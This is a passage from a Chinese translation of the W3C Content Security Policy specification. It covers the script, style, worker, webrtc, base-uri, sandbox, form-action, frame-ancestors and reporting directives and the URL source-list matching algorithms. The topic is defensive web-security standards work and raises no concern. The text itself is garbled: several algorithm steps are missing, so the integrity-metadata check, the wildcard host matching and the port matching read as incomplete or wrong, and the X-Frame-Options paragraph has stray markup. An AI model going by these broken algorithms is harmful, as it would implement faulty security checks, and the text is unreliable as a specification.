将 name 设为执行 § 6.8.1 获取请求的有效指令 在 request 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
返回执行 § 6.7.1.2 脚本指令后请求检查 在 request、response、该指令和 policy 上的结果。
6.1.10.3. script-src
内联检查
此指令的 内联检查算法如下:
给定一个Element
element,一个字符串 type,一个策略
policy 以及一个字符串 source:
-
断言:element 不为 null 或 type 为 "
navigation
"。 -
将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.11.
script-src-elem
此指令的名称和值的语法如下 ABNF 描述:
directive-name = "script-src-elem" directive-value = serialized-source-list
script-src-elem
指令适用于所有脚本请求和脚本块。执行脚本的属性(内联事件处理程序)通过 script-src-attr
进行控制。
因此,与 script-src
相比,存在以下区别:
-
script-src-elem
适用于|type|
为 "script
" 和 "navigation
" 的内联检查(对于|type|
为 "script attribute
" 的内联检查忽略)。 -
script-src-elem
的 值 不用于基于 "unsafe-eval
" 检查的 JavaScript 执行插槽检查。 -
script-src-elem
不用作worker-src
指令的回退。worker-src
检查仍然回退到script-src
指令。
6.1.11.1. script-src-elem
预请求检查
此指令的 预请求检查如下:
给定一个 请求 request 和一个 策略 policy:
-
将 name 设为执行 § 6.8.1 获取请求的有效指令 在 request 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src-elem
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
返回执行 § 6.7.1.1 脚本指令预请求检查 在 request、该指令和 policy 上的结果。
6.1.11.2. script-src-elem
后请求检查
此指令的 后请求检查如下:
给定一个 请求 request,一个 响应 response,和一个 策略 policy:
-
将 name 设为执行 § 6.8.1 获取请求的有效指令 在 request 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src-elem
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
返回执行 § 6.7.1.2 脚本指令后请求检查 在 request、response、该指令和 policy 上的结果。
6.1.11.3. script-src-elem
内联检查
此指令的 内联检查算法如下:
给定一个 元素
element,一个字符串 type,一个 策略
policy 和一个字符串 source:
-
断言:element 不为 null 或 type 为 "
navigation
"。 -
将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src-elem
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.12.
script-src-attr
此指令的名称和值的语法如下 ABNF 描述:
directive-name = "script-src-attr" directive-value = serialized-source-list
script-src-attr
指令适用于事件处理程序,如果存在,它将覆盖 script-src
指令以进行相关检查。
6.1.12.1. script-src-attr
内联检查
此指令的 内联检查算法如下:
给定一个 元素
element,一个字符串 type,一个 策略
policy 和一个字符串 source:
-
断言:element 不为 null 或 type 为 "
navigation
"。 -
将 name 设为执行 § 6.8.2 获取内联检查的有效指令 在 type 上的结果。
-
如果执行 § 6.8.4 是否应执行取指令 在 name、
script-src-attr
和 policy 上的结果为 "No
",则返回 "Allowed
"。 -
如果执行 § 6.7.3.3 元素是否匹配类型和源的源列表? 在 element、该指令的 值、type 和 source 上的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.13.
style-src
style-src 指令限制了可以将样式应用于
文档
的位置。该指令名称和值的语法如下 ABNF 描述:
directive-name = "style-src" directive-value = serialized-source-list
style-src
指令控制以下几项:
-
样式 请求 必须通过 § 4.1.2 内容安全策略应阻止请求吗?。包括:
-
样式请求的 响应 必须通过 § 4.1.3 内容安全策略应阻止请求的响应吗?。
-
内联
style
块必须通过 § 4.2.3 元素的内联类型行为应被内容安全策略阻止吗?。除非每个策略允许内联样式,样式将被阻止。允许方式包括:不指定style-src
(或default-src
)指令,或者显式指定 "unsafe-inline
",nonce-source 或 hash-source 匹配内联块。 -
以下 CSS 算法受到
unsafe-eval
源表达式的限制:这包括例如 CSSOM 的各种
cssText
设置器和insertRule
方法的所有调用 [CSSOM] [HTML]。这需要更好地解释。[w3c/webappsec-csp 问题 #212]
6.1.13.1.
style-src
预请求检查
该指令的预请求检查如下:
-
执行§ 6.8.1 获取请求的有效指令,获取request的name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src
和policy的结果为"No
",则返回"Allowed
"。 -
如果执行§ 6.7.2.3 nonce是否匹配源列表后,request的加密nonce元数据与此指令的值结果为"
Matches
",则返回"Allowed
"。 -
如果执行§ 6.7.2.5 请求是否匹配源列表后,request、此指令的值和policy的结果为"
Does Not Match
",则返回"Blocked
"。 -
返回"
Allowed
"。
6.1.13.2.
style-src
后请求检查
该指令的后请求检查如下:
给定一个请求 request,一个响应 response,以及一个策略 policy:
-
执行§ 6.8.1 获取请求的有效指令,获取request的name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src
和policy的结果为"No
",则返回"Allowed
"。 -
如果执行§ 6.7.2.3 nonce是否匹配源列表后,request的加密nonce元数据与此指令的值结果为"
Matches
",则返回"Allowed
"。 -
如果执行§ 6.7.2.6 响应是否匹配源列表后,response、request、此指令的值和policy的结果为"
Does Not Match
",则返回"Blocked
"。 -
返回"
Allowed
"。
6.1.13.3. style-src
内联检查
该指令的内联检查算法如下:
给定一个元素
element,一个字符串type,一个策略
policy,以及一个字符串source:
-
执行§ 6.8.2 获取内联检查的有效指令,获取type的name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src
和policy的结果为"No
",则返回"Allowed
"。 -
如果执行§ 6.7.3.3 元素是否匹配源列表后,element、此指令的值、type和source的结果为"
Does Not Match
",则返回"Blocked
"。 -
返回"
Allowed
"。
该指令的初始化算法如下:
对执行上下文做一些有趣的操作,以锁定有趣的CSSOM算法。我认为CSSOM在这里没有给我们任何钩子,所以我们需要与他们合作以制定合理的解决方案。
6.1.14.
style-src-elem
该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "style-src-elem" directive-value = serialized-source-list
style-src-elem 指令管理样式的行为,除内联属性定义的样式外。
6.1.14.1.
style-src-elem
前请求检查
该指令的前请求检查如下:
-
执行§ 6.8.1 获取请求的有效指令,获取 request 的 name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src-elem
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行§ 6.7.2.3 nonce 是否匹配源列表后,request 的 加密 nonce 元数据 和该指令的 值 结果为 "
Matches
",则返回 "Allowed
"。 -
如果执行§ 6.7.2.5 请求是否匹配源列表后,request、该指令的 值 和 policy 的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.14.2.
style-src-elem
后请求检查
该指令的后请求检查如下:
给定一个请求 request,一个响应 response,以及一个策略 policy:
-
执行§ 6.8.1 获取请求的有效指令,获取 request 的 name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src-elem
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行§ 6.7.2.3 nonce 是否匹配源列表后,request 的 加密 nonce 元数据 和该指令的 值 结果为 "
Matches
",则返回 "Allowed
"。 -
如果执行§ 6.7.2.6 响应是否匹配源列表后,response、request、该指令的 值 和 policy 的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.14.3.
style-src-elem
内联检查
该指令的内联检查算法如下:
给定一个 元素
element,一个字符串 type,一个 策略
policy,以及一个字符串 source:
-
执行§ 6.8.2 获取内联检查的有效指令,获取 type 的 name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src-elem
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 值、type 和 source 的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.1.15.
style-src-attr
该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "style-src-attr" directive-value = serialized-source-list
style-src-attr 指令管理样式属性的行为。
6.1.15.1.
style-src-attr
内联检查
该指令的内联检查算法如下:
给定一个 元素
element,一个字符串 type,一个 策略
policy 和一个字符串 source:
-
执行§ 6.8.2 获取内联检查的有效指令,获取 type 的 name。
-
如果执行§ 6.8.4 是否应执行获取指令后,name、
style-src-attr
和 policy 的结果为 "No
",则返回 "Allowed
"。 -
如果执行§ 6.7.3.3 元素是否匹配源列表后,element、该指令的 值、type 和 source 的结果为 "
Does Not Match
",则返回 "Blocked
"。 -
返回 "
Allowed
"。
6.2. 其他指令
6.2.1. webrtc
webrtc 指令用于限制是否可以通过 WebRTC 建立连接。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "webrtc" directive-value = "'allow'" / "'block'"
Content-Security-Policy: webrtc 'block'
本地 ICE 候选将不会出现,因为不会对提供给对等连接的 ICE 服务器进行 STUN 检查;不会对 JS 提供的任何远程候选进行连通性检查;连接状态将不会从初始状态“new”转换到“connected”,而是直接从“new”转换到“failed”。尝试调用 pc.restartIce() 将导致相同的结果。
< script > const iceServers= [{ urls: "stun:stun.l.google.com:19302" }]; const pc= new RTCPeerConnection({ iceServers}); pc. createDataChannel( "" ); const io= new WebSocket( 'ws://example.com:8080' ); pc. onicecandidate= ({ candidate}) => io. send({ candidate}); pc. onnegotiationneeded= async () => { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); }; io. onmessage= async ({ data: { description, candidate}}) => { if ( description) { await pc. setRemoteDescription( description); if ( description. type== "offer" ) { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); } } else if ( candidate) await pc. addIceCandidate( candidate); }; </ script >
6.2.1.1. webrtc
预连接检查
该指令的 webrtc 预连接检查如下:
-
如果该指令的 值仅包含一个与字符串 "
'allow'
" 的 ASCII 不区分大小写匹配项,则返回 "Allowed
"。 -
返回 "
Blocked
"。
6.2.2.
worker-src
worker-src 指令限制可以作为 Worker
、SharedWorker
或 ServiceWorker
加载的 URL。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "worker-src" directive-value = serialized-source-list
Content-Security-Policy: worker-src https://example.com/
以下代码的抓取将返回网络错误,因为提供的 URL 不匹配 worker-src
的 源列表:
< script > var blockedWorker= new Worker( "data:application/javascript,..." ); blockedWorker= new SharedWorker( "https://example.org/" ); navigator. serviceWorker. register( 'https://example.org/sw.js' ); </ script >
6.2.2.1.
worker-src
预请求检查
该指令的 预请求检查如下:
给定一个 请求 request 和一个 策略 policy:
-
对 request 执行 § 6.8.1 获取请求的有效指令,结果赋值给 name。
-
如果执行 § 6.8.4 指令是否应执行 在 name、
worker-src
和 policy 上的结果是 "No
",返回 "Allowed
"。 -
如果执行 § 6.7.2.5 请求是否匹配源列表 在 request、此指令的 值 和 policy 上的结果是 "
Does Not Match
",返回 "Blocked
"。 -
返回 "
Allowed
"。
6.2.2.2.
worker-src
后请求检查
该指令的 后请求检查如下:
给定一个 请求 request、一个 响应 response 和一个 策略 policy:
-
对 request 执行 § 6.8.1 获取请求的有效指令,结果赋值给 name。
-
如果执行 § 6.8.4 指令是否应执行 在 name、
worker-src
和 policy 上的结果是 "No
",返回 "Allowed
"。 -
如果执行 § 6.7.2.6 响应是否匹配源列表 在 response、request、此指令的 值 和 policy 上的结果是 "
Does Not Match
",返回 "Blocked
"。 -
返回 "
Allowed
"。
6.3. 文档指令
以下指令管理适用于文档或工作者环境的属性。
6.3.1.base-uri
base-uri 指令限制可以用于 URL
的范围,这些 URL 可以用于 文档
的
base
元素中。该指令的名称和值的语法由以下 ABNF 描述:
directive-name = "base-uri" directive-value = serialized-source-list
以下算法在 HTML 的 设置冻结的基本 URL 算法中调用,以监控和执行此指令:
6.3.1.1.base 是否允许用于 document?
给定一个 URL
base 和一个 文档
document,如果 base 可以用作
base
元素的
href
属性的值,则返回 "Allowed
",否则返回 "Blocked
":
-
对于每个 policy,属于 document 的 全局对象 的 CSP 列表:
-
令 source list 为 null。
-
如果在 policy 的 指令集 中存在一个 指令,其 名称 为 "
base-uri
",则将 source list 设置为该 指令 的 值。 -
如果 source list 为 null,则跳到下一个 policy。
-
如果在 base、source list、policy 的 self-origin 和
0
上执行 § 6.7.2.7 URL 是否与源列表匹配(包括重定向计数) 的结果为 "不匹配
":-
令 violation 为在 document 的 全局对象、policy 和 "
base-uri
" 上执行 § 2.4.1 创建全局、策略和指令的违规对象 的结果。 -
将 violation 的 资源 设置为 "
inline
"。 -
在 violation 上执行 § 5.5 报告违规。
-
如果 policy 的 处置 为 "
强制执行
",则返回 "Blocked
"。
-
注意:我们与回退的基本 URL 进行比较,以便正确处理类似于 被沙盒处理为不透明来源的
srcdoc
文档
的 iframe 之类的内容。 -
-
返回 "
Allowed
"。
6.3.2.sandbox
sandbox 指令指定了一个 HTML
沙盒策略,用户代理将对资源应用该策略,就像它被包含在具有
iframe
元素的
sandbox
属性中一样。
该指令的语法由以下 ABNF 语法描述,并有额外要求,即每个标记值必须是 HTML 规范中允许用于
iframe
sandbox
属性的关键字之一[HTML]。
directive-name = "sandbox" directive-value = "" / token *( required-ascii-whitespace token )
该指令没有报告要求;当它通过 Content-Security-Policy-Report-Only
头或在
meta
元素内传递时,将被完全忽略。
6.3.2.1.sandbox
初始化
该指令的 初始化 算法负责检查工人是否根据其策略中存在的 sandbox
值被允许运行:
注意:sandbox 指令还负责通过 CSP 派生的沙盒标志调整 文档
的 活动沙盒标志集。
给定一个 Document
或全局对象 context 以及一个策略
policy:
-
如果 policy 的 处置 不是 "
强制执行
",或者 context 不是WorkerGlobalScope
,则中止此算法。 -
令 sandboxing flag set 为一个新的 沙盒标志集。
-
如果 sandboxing flag set 包含 沙盒脚本浏览上下文标志 或 沙盒来源浏览上下文标志,则返回 "
Blocked
"。注意:如果我们允许工人被沙盒化为独特的来源,这可能需要更改,这是一个相当合理的做法。
-
返回 "
Allowed
"。
6.4. 导航指令
6.4.1.form-action
form-action
指令限制可以用作给定上下文中表单提交目标的 URL
。该指令的语法由以下
ABNF 语法描述:
directive-name = "form-action" directive-value = serialized-source-list
6.4.1.1.form-action
预导航检查
给定一个请求 request,一个字符串 navigation type
(“form-submission
”或“other
”),以及一个策略
policy,如果表单提交违反了 form-action
指令的约束,则此算法返回“Blocked
”,否则返回“Allowed
”。这构成了 form-action
指令的预导航检查:
-
断言:policy 在此算法中未使用。
-
如果 navigation type 是 "
form-submission
":-
如果在 request、此指令的 值 和 policy 上执行 § 6.7.2.5 请求是否匹配来源列表? 的结果是 "
Does Not Match
",则返回 "Blocked
"。
-
-
返回 "
Allowed
"。
6.4.2.frame-ancestors
frame-ancestors
指令限制可以使用
frame
、iframe
、object
或
embed
嵌入资源的 URL
。资源可以使用该指令避免许多用户界面伪装攻击[UISECURITY],从而避免被嵌入到潜在的恶意上下文中的风险。
该指令的语法由以下 ABNF 语法描述:
directive-name = "frame-ancestors" directive-value = ancestor-source-list ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'" ancestor-source = scheme-source / host-source / "'self'"
当 frame-ancestors
指令包含在通过
meta
元素声明的策略中时,必须忽略该指令。
注意:frame-ancestors
指令的语法类似于 来源列表,但如果指定了
default-src
指令的值,frame-ancestors
不会回退到该值。这意味着声明
default-src 'none'
的策略仍然允许任何人嵌入该资源。
6.4.2.1.frame-ancestors
导航响应检查
给定一个请求 request,一个字符串 navigation type
(“form-submission
”或“other
”),一个响应
navigation response,一个可导航对象 target,
一个字符串 check type(“source
”或“response
”),以及一个策略
policy,如果 target 的一个或多个祖先违反了随响应一起提供的 frame-ancestors
指令,则此算法返回“Blocked
”,否则返回“Allowed
”。这构成了
frame-ancestors
指令的导航响应检查:
-
断言:request、navigation response 和 navigation type 在此算法的后续部分中不再使用,因为
frame-ancestors
仅与 navigation response 的 frame-ancestors 指令有关。 -
如果 check type 是 "
source
",返回 "Allowed
"。注意:'frame-ancestors' 指令仅与 target 可导航对象 相关,对 request 的上下文没有影响。
-
如果 target 不是 子可导航对象,返回 "
Allowed
"。 -
令 current 为 target。
-
当 current 是 子可导航对象时:
-
返回 "
Allowed
"。
6.4.2.2. 与
``X-Frame-Options
`
`
的关系
X-Frame-Options
`此指令类似于
``
`
HTTP
响应标头。X-Frame-Options
`'none'
源表达式大致等同于该标头的 `DENY
`,而 'self'
则大致等同于该标头的
`SAMEORIGIN
`。[HTML]
为了允许向后兼容的部署,frame-ancestors
指令覆盖了
``
`
标头。如果资源随附的策略包含名为 X-Frame-Options
`frame-ancestors
且其处置方式为
"enforce
" 的指令,则根据
HTML 的处理模型,
``
`
标头将被忽略。
X-Frame-Options
`
6.5. 报告指令
本文档中的各种算法通过创建一个 违规对象,使用 § 2.4.2 为请求和策略创建违规对象 或 § 2.4.1 为全局、策略和指令创建违规对象,并将该对象传递给 § 5.5 报告违规 来实现报告过程。
6.5.1.
report-uri
report-uri
指令已被弃用。请改用 report-to
指令。如果存在后者指令,则会忽略此指令。为了确保向后兼容,我们建议同时指定两者,如下所示:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
report-uri
指令定义了一组端点,当特定行为被阻止时,CSP 违规报告将被发送到这些端点。
directive-name = "report-uri" directive-value = uri-reference *( required-ascii-whitespace uri-reference ) ; uri-reference 语法定义在 RFC 3986 的第 4.1 节。
此指令本身没有任何效果,但仅在与其他指令结合使用时才具有意义。
6.5.2.
report-to
report-to
指令定义了应将违规报告发送到的 报告端点[REPORTING]。该指令的行为定义在 § 5.5 报告违规
中。指令的名称和值由以下 ABNF 描述:
directive-name = "report-to" directive-value = token
6.6. 其他文档中定义的指令
本文档定义了一组核心指令,并为其他规范的模块化扩展建立了框架。在本文档生成时,以下稳定的文档扩展了 CSP:
-
[MIX] 定义了
block-all-mixed-content
-
[UPGRADE-INSECURE-REQUESTS] 定义了
upgrade-insecure-requests
对 CSP 的扩展必须通过 [RFC7762] 中概述的流程进行注册。特别是请注意该文档第 4.2 节中讨论的标准。
新指令应使用 预请求检查、后请求检查 和 初始化 钩子,以便将自己整合到 Fetch 和 HTML 中。
6.7. 匹配算法
6.7.1. 脚本指令检查
6.7.1.1. 脚本指令的预请求检查
给定一个请求 request,一个指令 directive, 以及一个策略 policy:
-
-
如果在 request 的加密随机数元数据和此指令的值上执行§ 6.7.2.3 随机数是否匹配源列表?的结果是“
Matches
”,则返回“Allowed
”。 -
如果在 request 的完整性元数据和此指令的值上执行§ 6.7.2.4 完整性元数据是否匹配源列表?的结果是“
Matches
”,则返回“Allowed
”。 -
如果 directive 的值包含一个源表达式,该表达式与“
'strict-dynamic'
”关键字源 ASCII 不区分大小写匹配:-
如果 request 的解析器元数据是“parser-inserted”,则返回“
Blocked
”。否则,返回“
Allowed
”。注意:“
'strict-dynamic'
” 在§ 8.2 “'strict-dynamic'”的用法中有更详细的解释。
-
-
如果在 request、directive 的值和 policy 上执行§ 6.7.2.5 请求是否匹配源列表?的结果是“
Does Not Match
”,则返回“Blocked
”。
-
-
返回“
Allowed
”。
6.7.1.2. 脚本指令的后请求检查
此指令的后请求检查如下:
给定一个请求 request,一个响应 response, 一个指令 directive,以及一个策略 policy:
-
-
使用 response、request、directive 和 policy 调用可能报告哈希。
-
如果在 request 的加密随机数元数据和此指令的值上执行§ 6.7.2.3 随机数是否匹配源列表?的结果是“
Matches
”,则返回“Allowed
”。 -
如果在 request 的完整性元数据和此指令的值上执行§ 6.7.2.4 完整性元数据是否匹配源列表?的结果是“
Matches
”,则返回“Allowed
”。 -
如果 directive 的值包含“
'strict-dynamic'
”:-
如果 request 的解析器元数据不是“parser-inserted”,则返回“
Allowed
”。否则,返回“
Blocked
”。
-
-
如果在 response、request、directive 的值和 policy 上执行§ 6.7.2.6 对请求的响应是否匹配源列表?的结果是“
Does Not Match
”,则返回“Blocked
”。
-
-
返回“
Allowed
”。
6.7.2. URL 匹配
6.7.2.1. request 是否违反 policy?
给定一个请求 request 和一个策略
policy,如果请求违反了策略,则此算法返回被违反的指令,否则返回“Does Not Violate
”。
-
如果 request 的 发起者 是 "
prefetch
",则执行 § 6.7.2.2 资源提示请求是否违反策略?,返回结果。 -
令 violates 为 "
Does Not Violate
"。 -
对于每个 policy 的 directive:
-
令 result 为执行 directive 的 预请求检查 在 request 和 policy 上的结果。
-
如果 result 为 "
Blocked
",则将 violates 设为 directive。
-
-
返回 violates。
6.7.2.2. 资源提示 request 是否违反 policy?
给定一个请求 request 和一个策略
policy,如果资源提示请求违反了所有策略,则此算法返回默认的指令,否则返回“Does Not Violate
”。
-
如果 defaultDirective 不存在,则返回“
Does Not Violate
”。 -
对于 policy 中的每个 directive:
-
如果 directive 的名称不是以下之一:
-
child-src
-
connect-src
-
font-src
-
frame-src
-
img-src
-
manifest-src
-
media-src
-
object-src
-
script-src
-
script-src-elem
-
style-src
-
style-src-elem
-
worker-src
则继续。
-
-
令 result 为在 request、directive 的值和 policy 上执行§ 6.7.2.5 请求是否匹配源列表?的结果。
-
如果 result 为“
Allowed
”,则返回“Does Not Violate
”。
-
-
返回 defaultDirective。
6.7.2.3. nonce 是否匹配 源列表?
给定一个请求的加密随机数元数据 nonce 和一个源列表 source
list,如果随机数与列表中的一个或多个源表达式匹配,则此算法返回“Matches
”,否则返回“Does Not Match
”:
-
断言:source list 不为 null。
-
如果 nonce 是空字符串,返回 "
Does Not Match
"。 -
对于每个 source list 的 expression:
-
如果 expression 匹配
nonce-source
语法,且 nonce 与 expression 的base64-value
部分相同,返回 "Matches
"。
-
-
返回 "
Does Not Match
"。
6.7.2.4. integrity metadata 是否匹配 源列表?
给定一个请求的完整性元数据 integrity
metadata 和一个源列表
source
list,如果完整性元数据与列表中的一个或多个源表达式匹配,则此算法返回“Matches
”,否则返回“Does Not Match
”:
-
断言:source list 不为 null。
-
如果 integrity expressions 为空,则返回“
Does Not Match
”。 -
令 integrity sources 为在 integrity metadata 上执行 SRI § 3.3.2 解析元数据中定义的算法的结果。[SRI]
-
如果 integrity sources 是“
no metadata
”或空集,则返回“Does Not Match
”。 -
对于 integrity sources 中的每个 source:
-
返回“
Matches
”。
注意: 此处仅验证 integrity metadata 是否是 source list 中 hash-source 源的非空子集。我们依赖浏览器对子资源完整性 [SRI] 的执行,以在响应时阻止不匹配的资源。
6.7.2.5. request 是否匹配 源列表?
给定一个请求 request,一个源列表 source list, 以及一个策略 policy,此算法返回在 request 的当前 URL、source list、 policy 的自身源和 request 的重定向计数上执行§ 6.7.2.7 URL 是否与源中的源列表匹配(带重定向计数)?的结果。
注意:这通常用于指令的请求前检查算法,以验证给定的请求是否合理。
6.7.2.6. response 对 request 是否匹配 源列表?
给定一个响应 response,一个请求 request,一个源列表 source list,以及一个策略 policy,此算法返回在 response 的URL、source list、policy 的自身源, 以及 request 的重定向计数上执行§ 6.7.2.7 URL 是否与源中的源列表匹配(带重定向计数)?的结果。
注意:这通常用于指令的后请求检查算法,以验证给定的响应是否合理。
6.7.2.7. url 是否匹配 source list 中的表达式及 redirect count?
给定一个 URL
url,一个 源列表
source list,一个 来源
origin,以及一个数字 redirect count,此算法如果 url 匹配 source list
中的一个或多个源表达式则返回 "Matches
",否则返回 "Does Not Match
":
-
断言:source list 不为 null。
-
如果 source list 为空,返回 "
Does Not Match
"。 -
如果 source list 的 大小为 1,且 source list[0] 是与字符串 "
'none'
" 的 ASCII 大小写不敏感匹配,返回 "Does Not Match
"。注意:空的源列表(即没有值的指令:
script-src
,与script-src host1
不同)等同于包含'none'
的源列表,并且不会匹配任何 URL。注意:当存在其他源表达式时,
'none'
关键字没有效果。即,列表 «'none'
» 不匹配任何 URL。然而,列表 «'none'
,https://example.com
» 将匹配https://example.com/
。 -
对于每一个 source list 中的 expression:
-
如果 § 6.7.2.8 URL 是否匹配来源中的表达式及重定向计数? 对 url、expression、origin 和 redirect count 执行后返回 "
Matches
",则返回 "Matches
"。
-
-
返回 "
Does Not Match
"。
6.7.2.8. url 是否匹配 origin 中的 expression 及 redirect count?
给定一个 URL
url,
一个 源表达式
expression,
一个 origin origin,
和一个数字 redirect count,
此算法将返回 "Matches
" 如果 url 与 expression 匹配,
否则返回 "Does Not Match
"。
注意: origin 是相对于其应解析 expression
的资源的 origin。
"'self'
" 例如,在不同的上下文中会有不同的含义。
-
如果 expression 是字符串 "*",并且满足以下条件之一,则返回 "
Matches
":-
url 的 scheme 是 HTTP(S) scheme。
注意: 此逻辑意味着要允许来自非 HTTP(S) scheme 的资源, 必须明确指定它(例如:
default-src * data: custom-scheme-1: custom-scheme-2:
), 或者受保护资源必须从相同的 scheme 加载。 -
-
如果 expression 匹配
scheme-source
或host-source
语法:-
如果 expression 有一个
scheme-part
,并且它不scheme-part
匹配 url 的 scheme,则返回 "Does Not Match
"。 -
如果 expression 匹配
scheme-source
语法, 则返回 "Matches
"。
-
-
如果 expression 匹配
host-source
语法:-
如果 url 的
host
为空,则返回 "Does Not Match
"。 -
如果 expression 没有
scheme-part
,并且 origin 的 scheme 不scheme-part
匹配 url 的 scheme, 则返回 "Does Not Match
"。注意: 与上面的
scheme-part
一样, 我们允许将无 scheme 的host-source
表达式从不安全的 scheme 升级到安全的 scheme。 -
如果 expression 的
host-part
不host-part
匹配 url 的host
, 则返回 "Does Not Match
"。 -
如果存在 expression 的
port-part
,则令 port-part 为其值,否则为 null。 -
如果 port-part 不
port-part
匹配 url, 则返回 "Does Not Match
"。 -
如果 expression 包含一个非空的
path-part
,并且 redirect count 为 0,那么:-
令 path 为通过连接 url 的 路径,使用 U+002F SOLIDUS 字符 (
/
) 得到的结果。 -
如果 expression 的
path-part
不path-part
匹配 path, 则返回 "Does Not Match
"。
-
-
返回 "
Matches
"。
-
-
如果 expression 与 "
'self'
" 进行 ASCII 大小写不敏感 匹配, 如果满足以下任一条件,则返回 "Matches
":-
origin 与 url 的 origin 相同
-
origin 的
host
与 url 的host
相同, origin 的port
和 url 的port
也相同, 或者二者的 默认端口 相同, 且满足以下条件之一:
注意: 像上述
scheme-part
逻辑一样, "'self'
" 匹配算法允许在安全情况下升级到安全 scheme。 我们将这些升级限制为在特定 scheme 的默认端口上运行的端点或与受保护资源的 origin 匹配的端口, 因为这似乎足以应对预期可能成功的升级。 -
-
返回 "
Does Not Match
"。
6.7.2.9. scheme-part
匹配
一个 ASCII 字符串 scheme-part
匹配 另一个 ASCII 字符串,如果一个包含前者作为 scheme-part
的
CSP 源表达式可能匹配包含后者作为 scheme 的 URL。例如,我们可以说 "http" scheme-part
匹配 "https"。
注意: 匹配关系是非对称的。例如,源表达式 https:
和
https://example.com/
不匹配 URL http://example.com/
。
我们总是允许从明确的不安全表达式进行安全升级。script-src http:
被视为等同于
script-src http: https:
,script-src http://example.com
等同于
script-src http://example.com https://example.com
,connect-src ws:
等同于
connect-src ws: wss:
。
更正式地说,如果以下算法返回 "Matches
",则认为两个 ASCII 字符串
A 和 B 是 scheme-part
匹配。
-
如果以下任一情况为真,则返回 “
Matches
”:-
A 与 B ASCII 不区分大小写匹配。
-
A 与 “
http
” ASCII 不区分大小写匹配,并且 B 与 “https
” ASCII 不区分大小写匹配。 -
A 与 “
ws
” ASCII 不区分大小写匹配,并且 B 与 “wss
”、“http
” 或 “https
” ASCII 不区分大小写匹配。 -
A 与 “
wss
” ASCII 不区分大小写匹配,并且 B 与 “https
” ASCII 不区分大小写匹配。
-
-
返回 “
Does Not Match
”。
6.7.2.10. host-part
匹配
一个 ASCII 字符串 host-part
匹配 一个 host,如果一个包含前者作为 host-part
的 CSP
源表达式可能匹配后者。例如,我们说 "www.example.com" host-part 匹配 "www.example.com"。
更正式地说,如果以下算法返回 "Matches
",则认为 ASCII 字符串
pattern 和 host host 是 host-part
匹配。
注意: 匹配关系是非对称的。即,pattern 匹配
host 并不意味着 host 会匹配 pattern。例如,*.example.com
host-part
匹配 www.example.com
,但 www.example.com
不 host-part
匹配
*.example.com
。
注意: 未来版本的规范可能允许文字形式的 IPv6 和 IPv4 地址,具体取决于使用情况和需求。然而,由于 IP 地址相对于命名主机的安全属性较弱,建议作者尽可能优先使用后者。
-
如果 host 不是一个 域,返回 "
Does Not Match
"。 -
如果 pattern 是 "
*
",返回 "Matches
"。 -
如果 pattern 以 "
*.
" 开始:-
令 remaining 为去掉首个 U+002A (
*
) 并 转为 ASCII 小写 的 pattern。 -
返回 "
Does Not Match
"。
-
-
如果 pattern 不是与 host ASCII 大小写不敏感 匹配,返回 "
Does Not Match
"。 -
返回 "
Matches
"。
6.7.2.11. port-part
匹配
一个 ASCII 字符串或 null input port-part
matches URL url,条件是:如果一个 CSP 源表达式(它将前者包含为 port-part
)可能匹配一个包含后者端口和方案的 URL。例如,“80” port-part
matches 匹配
http://example.com。
-
断言:input 为 null、“*”或一个或多个 ASCII 数字的序列。
-
如果 input 等于 “*”,则返回 “
匹配
”。 -
如果 input 为 null,则令 normalizedInput 为 null;否则将 input 解释为十进制数。
-
如果 normalizedInput 等于 url 的端口,则返回 “
匹配
”。 -
如果 url 的端口为 null:
-
返回 “
不匹配
”。
6.7.2.12. path-part
匹配
如果一个 CSP 源表达式包含 ASCII 字符串 path A,该 path-part
匹配 另一个 ASCII 字符串
path B,则它可以潜在地匹配包含该 path
的 URL。例如,我们说 "/subdirectory/" path-part
匹配
"/subdirectory/file"。
注意: 匹配关系是非对称的。即,path A 匹配 path B 并不意味着 path B 会匹配 path A。
-
如果 path A 是空字符串,返回 "
Matches
"。 -
如果 path A 仅由一个等于 U+002F SOLIDUS 字符 (
/
